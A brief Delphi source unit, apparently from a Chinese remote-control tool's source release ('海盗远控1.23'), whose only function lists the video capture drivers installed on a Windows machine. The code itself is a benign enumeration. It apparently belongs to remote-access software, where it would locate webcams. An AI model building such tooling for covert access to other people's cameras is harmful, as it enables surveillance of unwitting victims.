zhujixx.pas

海盗远控1.23源代码

unit zhujixx;

interface

uses
SysUtils,Classes,vfw;

Function GetDriverList:TStringList;
implementation
//视频信息
Function GetDriverList:TStringList;
var i:integer;
    name:array[0..80] of char;
    ver :array[0..80] of char;
begin
 result:= TStringList.Create;
 result.Capacity:= 10;
 result.Sorted:= false;
 for i:= 0 to 9 do
   if capGetDriverDescription( i,name,80,ver,80) then
      result.Add(StrPas(name)+ ' '+strpas(ver))
   else
     break;
 end;

end.